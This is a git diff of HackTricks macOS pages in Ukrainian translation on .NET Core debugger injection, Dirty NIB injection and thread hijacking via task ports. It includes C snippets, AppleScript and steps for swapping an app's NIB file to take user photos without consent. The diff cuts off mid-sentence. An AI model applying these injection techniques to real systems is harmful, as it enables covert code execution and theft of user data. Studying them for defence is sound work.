diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index 0577d4267..0bcf28d50 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# Впровадження додатків .Net для macOS +# macOS .Net Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Це краткий огляд публікації [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Перевірте його для отримання додаткових деталей!** +**Це резюме поста [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Перевірте його для отримання додаткових деталей!** -## Відлагодження .NET Core +## .NET Core Debugging -### **Встановлення сеансу відлагодження** +### **Establishing a Debugging Session** -Обробка комунікації між відлагоджувачем та відлагоджуваним в .NET керується [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Цей компонент налаштовує два іменовані канали для кожного процесу .NET, як показано в [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), які ініціюються через [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ці канали мають суфікси **`-in`** та **`-out`**. +Обробка зв'язку між налагоджувачем і налагоджуваним у .NET управляється [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Цей компонент налаштовує два іменовані канали для кожного процесу .NET, як видно в [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), які ініціюються через [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ці канали мають суфікси **`-in`** та **`-out`**. -Відвідавши **`$TMPDIR`** користувача, можна знайти доступні для відлагодження FIFO для додатків .Net. +Відвідавши **`$TMPDIR`** користувача, можна знайти FIFOs для налагодження .Net додатків. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) відповідає за управління комунікацією від відлагоджувача. Для ініціювання нового сеансу відлагодження відлагоджувач повинен надіслати повідомлення через канал `out`, починаючи з структури `MessageHeader`, детально описаної в вихідному коді .NET: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) відповідає за управління зв'язком від налагоджувача. Щоб ініціювати нову сесію налагодження, налагоджувач повинен надіслати повідомлення через `out` канал, починаючи з структури `MessageHeader`, детально описаної в вихідному коді .NET: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -Для запиту нової сесії ця структура заповнюється наступним чином, встановлюючи тип повідомлення на `MT_SessionRequest` та версію протоколу на поточну версію: +Щоб запитати нову сесію, ця структура заповнюється наступним чином, встановлюючи тип повідомлення на `MT_SessionRequest` і версію протоколу на поточну версію: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Цей заголовок потім надсилається на цільовий об'єкт за допомогою системного виклику `write`, за яким слідує структура `sessionRequestData`, що містить GUID для сеансу: +Цей заголовок потім надсилається на ціль за допомогою системного виклику `write`, за яким слідує структура `sessionRequestData`, що містить GUID для сесії: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -Операція читання на каналі `out` підтверджує успішне або невдачне встановлення сеансу налагодження: +Операція читання з каналу `out` підтверджує успіх або невдачу встановлення сеансу налагодження: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ## Читання пам'яті -Після встановлення сеансу налагодження, пам'ять можна читати за допомогою типу повідомлення [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Функція readMemory детально описана, виконуючи необхідні кроки для відправлення запиту на читання та отримання відповіді: +Once a debugging session is established, memory can be read using the [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) message type. Функція readMemory детально описує необхідні кроки для відправки запиту на читання та отримання відповіді: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -79,9 +80,9 @@ return true; ``` Повний доказ концепції (POC) доступний [тут](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -## Запис у пам'ять +## Запис пам'яті -Аналогічно, пам'ять можна записати за допомогою функції `writeMemory`. Процес включає встановлення типу повідомлення на `MT_WriteMemory`, вказівку адреси та довжини даних, а потім відправлення даних: +Аналогічно, пам'ять можна записати, використовуючи функцію `writeMemory`. Процес включає встановлення типу повідомлення на `MT_WriteMemory`, вказуючи адресу та довжину даних, а потім відправляючи дані: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -93,37 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) { return true; } ``` -Асоційований POC доступний [тут](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). +Пов'язаний POC доступний [тут](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). -## Виконання коду .NET Core +## .NET Core Виконання Коду -Для виконання коду потрібно ідентифікувати область пам'яті з дозволами rwx, що можна зробити за допомогою vmmap -pages: +Щоб виконати код, потрібно ідентифікувати область пам'яті з правами rwx, що можна зробити за допомогою vmmap -pages: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Знаходження місця для перезапису вказівника функції є необхідним, і в .NET Core це можна зробити, спрямовуючись на **Dynamic Function Table (DFT)**. Ця таблиця, детально описана в [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), використовується рантаймом для функцій-помічників компіляції JIT. +Знаходження місця для перезапису вказівника функції є необхідним, і в .NET Core це можна зробити, націлившись на **Dynamic Function Table (DFT)**. Ця таблиця, детально описана в [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), використовується середовищем виконання для допоміжних функцій компіляції JIT. -Для систем x64 можна використовувати пошук сигнатури для знаходження посилання на символ `_hlpDynamicFuncTable` в `libcorclr.dll`. +Для систем x64 можна використовувати полювання на сигнатури, щоб знайти посилання на символ `_hlpDynamicFuncTable` у `libcorclr.dll`. -Функція відладки `MT_GetDCB` надає корисну інформацію, включаючи адресу функції-помічника `m_helperRemoteStartAddr`, що вказує на місце розташування `libcorclr.dll` в пам'яті процесу. Цю адресу потім використовують для початку пошуку DFT та перезапису вказівника функції адресою shellcode. +Функція налагодження `MT_GetDCB` надає корисну інформацію, включаючи адресу допоміжної функції `m_helperRemoteStartAddr`, що вказує на місцезнаходження `libcorclr.dll` у пам'яті процесу. Ця адреса потім використовується для початку пошуку DFT і перезапису вказівника функції адресою shellcode. -Повний код POC для впровадження в PowerShell доступний [тут](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). +Повний код POC для ін'єкції в PowerShell доступний [тут](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). -## Посилання +## References * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index 7d0118bfc..612dcf226 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,35 +1,36 @@ # macOS Dirty NIB +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Для отримання додаткових відомостей про техніку перевірте оригінальний пост за посиланням: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ось краткий опис: +**Для отримання додаткової інформації про техніку перегляньте оригінальний пост за адресою: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ось короткий виклад: -Файли NIB, як частина екосистеми розробки Apple, призначені для визначення **елементів користувацького інтерфейсу** та їх взаємодії в додатках. Вони охоплюють серіалізовані об'єкти, такі як вікна та кнопки, та завантажуються під час виконання. Незважаючи на їх поширене використання, Apple зараз рекомендує використовувати Storyboards для більш комплексної візуалізації потоку користувацького інтерфейсу. +Файли NIB, частина екосистеми розробки Apple, призначені для визначення **елементів UI** та їх взаємодій в додатках. Вони містять серіалізовані об'єкти, такі як вікна та кнопки, і завантажуються під час виконання. Незважаючи на їх постійне використання, Apple тепер рекомендує використовувати Storyboards для більш комплексної візуалізації потоку UI. -### Проблеми безпеки з файлами NIB -Важливо зауважити, що **файли NIB можуть становити загрозу безпеці**. Вони можуть **виконувати довільні команди**, і зміни в файлах NIB в додатку не заважають Gatekeeper виконувати додаток, що становить значну загрозу. +### Питання безпеки з файлами NIB +Критично важливо зазначити, що **файли NIB можуть бути загрозою безпеці**. Вони мають потенціал для **виконання довільних команд**, а зміни у файлах NIB в додатку не заважають Gatekeeper виконувати додаток, що становить значну загрозу. -### Процес впровадження Dirty NIB +### Процес ін'єкції Dirty NIB #### Створення та налаштування файлу NIB 1. **Початкове налаштування**: - Створіть новий файл NIB за допомогою XCode. - Додайте об'єкт до інтерфейсу, встановивши його клас на `NSAppleScript`. - Налаштуйте початкову властивість `source` через атрибути часу виконання, визначені користувачем. -2. **Елемент виконання коду**: -- Налаштування сприяє запуску AppleScript за запитом. +2. **Гаджет виконання коду**: +- Налаштування дозволяє виконувати AppleScript за запитом. - Інтегруйте кнопку для активації об'єкта `Apple Script`, спеціально викликаючи селектор `executeAndReturnError:`. 3. **Тестування**: @@ -38,12 +39,12 @@ set theDialogText to "PWND" display dialog theDialogText ``` -- Перевірте, запустивши відлагоджувач XCode та натиснувши кнопку. +- Протестуйте, запустивши в налагоджувачі XCode та натиснувши кнопку. -#### Направлення на додаток (Приклад: Pages) +#### Цілеве застосування (приклад: Pages) 1. **Підготовка**: -- Скопіюйте цільовий додаток (наприклад, Pages) в окремий каталог (наприклад, `/tmp/`). -- Запустіть додаток, щоб уникнути проблем з Gatekeeper та кешуванням. +- Скопіюйте цільовий додаток (наприклад, Pages) в окрему директорію (наприклад, `/tmp/`). +- Запустіть додаток, щоб обійти проблеми з Gatekeeper і кешувати його. 2. **Перезапис файлу NIB**: - Замініть існуючий файл NIB (наприклад, About Panel NIB) на створений файл DirtyNIB. @@ -51,21 +52,37 @@ display dialog theDialogText 3. **Виконання**: - Запустіть виконання, взаємодіючи з додатком (наприклад, вибравши пункт меню `About`). -#### Доказ концепції: Доступ до даних користувача -- Змініть AppleScript для доступу та вилучення даних користувача, таких як фотографії, без згоди користувача. +#### Доказ концепції: доступ до даних користувача +- Змініть AppleScript, щоб отримати доступ і витягти дані користувача, такі як фотографії, без згоди користувача. -### Приклад коду: Зловмисний файл .xib -- Ознайомтеся з [**прикладом зловмисного файлу .xib**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4), який демонструє виконання довільного коду. +### Приклад коду: Зловмисний .xib файл +- Отримайте доступ і перегляньте [**зразок зловмисного .xib файлу**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4), який демонструє виконання довільного коду. ### Вирішення обмежень запуску -- Обмеження запуску заважають виконанню додатків з неочікуваних місць (наприклад, `/tmp`). -- Можливо виявити додатки, які не захищені обмеженнями запуску, та спрямувати їх для впровадження файлу NIB. +- Обмеження запуску заважають виконанню додатків з несподіваних місць (наприклад, `/tmp`). +- Можливо виявити додатки, які не захищені обмеженнями запуску, і націлити їх для ін'єкції файлу NIB. -### Додаткові заходи захисту macOS -Починаючи з macOS Sonoma, зміни всередині пакетів додатків обмежені. Однак раніше використовувалися такі методи: +### Додаткові захисти macOS +Починаючи з macOS Sonoma, модифікації всередині пакетів додатків обмежені. Однак раніше методи включали: 1. Копіювання додатка в інше місце (наприклад, `/tmp/`). -2. Перейменування каталогів у пакеті додатка для обходу початкових захистів. -3. Після запуску додатка для реєстрації з Gatekeeper, зміна пакету додатка (наприклад, заміна MainMenu.nib на Dirty.nib). -4. Повернення початкових назв каталогів та повторний запуск додатка для виконання впровадженого файлу NIB. +2. Перейменування директорій всередині пакету додатка, щоб обійти початкові захисти. +3. Після запуску додатка для реєстрації з Gatekeeper, модифікація пакету додатка (наприклад, заміна MainMenu.nib на Dirty.nib). +4. Повернення директорій назад і повторний запуск додатка для виконання ін'єкованого файлу NIB. -**Примітка**: Останні оновлення macOS пом'якшили цей експлойт, запобігаючи модифікації файлів всередині пакетів додатків після кешування Gatekeeper, що робить експлойт неефективним. +**Примітка**: Останні оновлення macOS зменшили цю вразливість, заборонивши модифікацію файлів у пакетах додатків після кешування Gatekeeper, що робить цю вразливість неефективною. + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index ef09c8c64..c007903df 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,54 +1,57 @@ -# Впровадження потоку macOS через порт завдання +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Код +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. Перехоплення потоку +## 1. Thread Hijacking -Спочатку функція **`task_threads()`** викликається на порт завдання для отримання списку потоків з віддаленого завдання. Вибирається потік для перехоплення. Цей підхід відрізняється від традиційних методів впровадження коду, оскільки створення нового віддаленого потоку заборонено через новий захист, який блокує `thread_create_running()`. +Спочатку викликається функція **`task_threads()`** на порту задачі для отримання списку потоків з віддаленої задачі. Вибирається потік для захоплення. Цей підхід відрізняється від звичайних методів ін'єкції коду, оскільки створення нового віддаленого потоку заборонено через нові заходи, що блокують `thread_create_running()`. -Для управління потоком викликається **`thread_suspend()`**, зупиняючи його виконання. +Для контролю потоку викликається **`thread_suspend()`**, що зупиняє його виконання. -Єдині дії, дозволені на віддаленому потоці, полягають у **зупинці** та **запуску** його, **отриманні** та **зміні** його значень регістрів. Віддалені виклики функцій ініціюються шляхом встановлення регістрів `x0` до `x7` на **аргументи**, налаштування **`pc`** на цільову функцію та активації потоку. Для забезпечення того, що потік не впаде після повернення, необхідно виявлення повернення. +Єдині операції, дозволені на віддаленому потоці, включають **зупинку** та **запуск** його, **отримання** та **модифікацію** значень його регістрів. Віддалені виклики функцій ініціюються шляхом встановлення регістрів `x0` до `x7` на **аргументи**, налаштування **`pc`** для націлювання на бажану функцію та активації потоку. Забезпечення того, щоб потік не зламався після повернення, вимагає виявлення повернення. -Одна з стратегій передбачає **реєстрацію обробника винятків** для віддаленого потоку за допомогою `thread_set_exception_ports()`, встановлення регістру `lr` на недійсну адресу перед викликом функції. Це викликає виняток після виконання функції, надсилаючи повідомлення на порт винятків, що дозволяє перевірити стан потоку для відновлення значення повернення. Альтернативно, як у вразливості triple\_fetch від Іана Біра, `lr` встановлюється на нескінченний цикл. Потім регістри потоку безперервно моніторяться, поки **`pc` вказує на цю інструкцію**. +Одна зі стратегій полягає в **реєстрації обробника виключень** для віддаленого потоку за допомогою `thread_set_exception_ports()`, встановлюючи регістр `lr` на недійсну адресу перед викликом функції. Це викликає виключення після виконання функції, надсилаючи повідомлення на порт виключень, що дозволяє перевірити стан потоку для відновлення значення повернення. Альтернативно, як це було прийнято з експлойту triple\_fetch Іана Біра, `lr` встановлюється на безкінечний цикл. Регістри потоку потім постійно моніторяться, поки **`pc` не вказує на цю інструкцію**. -## 2. Mach-порти для зв'язку +## 2. Mach ports for communication -Наступна фаза передбачає створення Mach-портів для сприяння зв'язку з віддаленим потоком. Ці порти є інструментальними для передачі довільних прав на відправку та отримання між завданнями. +Наступний етап полягає в створенні Mach портів для полегшення зв'язку з віддаленим потоком. Ці порти є важливими для передачі довільних прав на відправлення та отримання між задачами. -Для двостороннього зв'язку створюються два Mach-права отримання: одне в локальному, інше в віддаленому завданні. Подальше право на відправку для кожного порту передається відповідному завданню, що дозволяє обмін повідомленнями. +Для двостороннього зв'язку створюються два права на отримання Mach: одне в локальній, а інше в віддаленій задачі. Потім право на відправлення для кожного порту передається до відповідної задачі, що дозволяє обмінюватися повідомленнями. -Зосереджуючись на локальному порті, право отримання утримується локальним завданням. Порт створюється за допомогою `mach_port_allocate()`. Викликано викликано встановлення права на відправку до цього порту в віддаленому потоці за допомогою `thread_set_special_port()`. Потім віддаленому потоці вказується викликати `mach_thread_self()` для отримання права на відправку. +Зосереджуючись на локальному порту, право на отримання утримується локальною задачею. Порт створюється за допомогою `mach_port_allocate()`. Виклик полягає в передачі права на відправлення до цього порту в віддалену задачу. -Щодо віддаленого порту, процес суттєво обернений. Віддаленому потоку вказується створити Mach-порт через `mach_reply_port()` (оскільки `mach_port_allocate()` не підходить через механізм повернення). Після створення порту в віддаленому потоці викликається `mach_port_insert_right()`, щоб встановити право на відправку. Це право потім зберігається в ядрі за допомогою `thread_set_special_port()`. Назад у локальному завданні використовується `thread_get_special_port()` на віддаленому потоці для отримання права на відправку до нового виділеного Mach-порту в віддаленому завданні. +Одна зі стратегій полягає в використанні `thread_set_special_port()`, щоб помістити право на відправлення до локального порту в `THREAD_KERNEL_PORT` віддаленого потоку. Потім віддаленому потоку вказується викликати `mach_thread_self()`, щоб отримати право на відправлення. -Завершення цих кроків призводить до створення Mach-портів, вкладаючи основу для двостороннього зв'язку. +Для віддаленого порту процес в основному обернений. Віддаленому потоку вказується створити Mach порт за допомогою `mach_reply_port()` (оскільки `mach_port_allocate()` не підходить через свій механізм повернення). Після створення порту викликається `mach_port_insert_right()` в віддаленому потоці для встановлення права на відправлення. Це право потім зберігається в ядрі за допомогою `thread_set_special_port()`. Повертаючись до локальної задачі, використовується `thread_get_special_port()` на віддаленому потоці, щоб отримати право на відправлення до новоствореного Mach порту в віддаленій задачі. -## 3. Основні примітиви читання/запису пам'яті +Завершення цих кроків призводить до створення Mach портів, закладаючи основу для двостороннього зв'язку. -У цьому розділі акцентується на використанні виконавчого примітиву для встановлення основних примітивів читання та запису пам'яті. Ці початкові кроки є важливими для отримання більшого контролю над віддаленим процесом, хоча примітиви на цьому етапі не будуть виконувати багато цілей. Незабаром вони будуть оновлені до більш розширених версій. +## 3. Basic Memory Read/Write Primitives -### Читання та запис пам'яті за допомогою виконавчого примітива +У цьому розділі увага зосереджена на використанні примітиву виконання для встановлення базових примітивів читання та запису пам'яті. Ці початкові кроки є вирішальними для отримання більшого контролю над віддаленим процесом, хоча примітиви на цьому етапі не будуть служити багатьом цілям. Незабаром вони будуть оновлені до більш просунутих версій. -Мета полягає в виконанні читання та запису пам'яті за допомогою конкретних функцій. Для читання пам'яті використовуються функції зі структурою, подібною наступній: +### Memory Reading and Writing Using Execute Primitive + +Мета полягає в тому, щоб виконати читання та запис пам'яті за допомогою специфічних функцій. Для читання пам'яті використовуються функції, що нагадують наступну структуру: ```c uint64_t read_func(uint64_t *address) { return *address; @@ -60,7 +63,7 @@ void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -Ці функції відповідають заданим інструкціям збірки: +Ці функції відповідають наведеним асемблерним інструкціям: ``` _read_func: ldr x0, [x0] @@ -69,93 +72,110 @@ _write_func: str x1, [x0] ret ``` -### Визначення підходящих функцій +### Визначення Підходящих Функцій Сканування загальних бібліотек виявило відповідні кандидати для цих операцій: -1. **Читання пам'яті:** -Функція `property_getName()` з [бібліотеки об'єктно-орієнтованого програмування Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) визначена як підходяща функція для читання пам'яті. Нижче наведено опис функції: +1. **Читання Пам'яті:** +Функція `property_getName()` з [бібліотеки виконання Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) визначена як підходяща функція для читання пам'яті. Функція описана нижче: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -Ця функція ефективно діє, як `read_func`, повертаючи перше поле `objc_property_t`. +Ця функція фактично 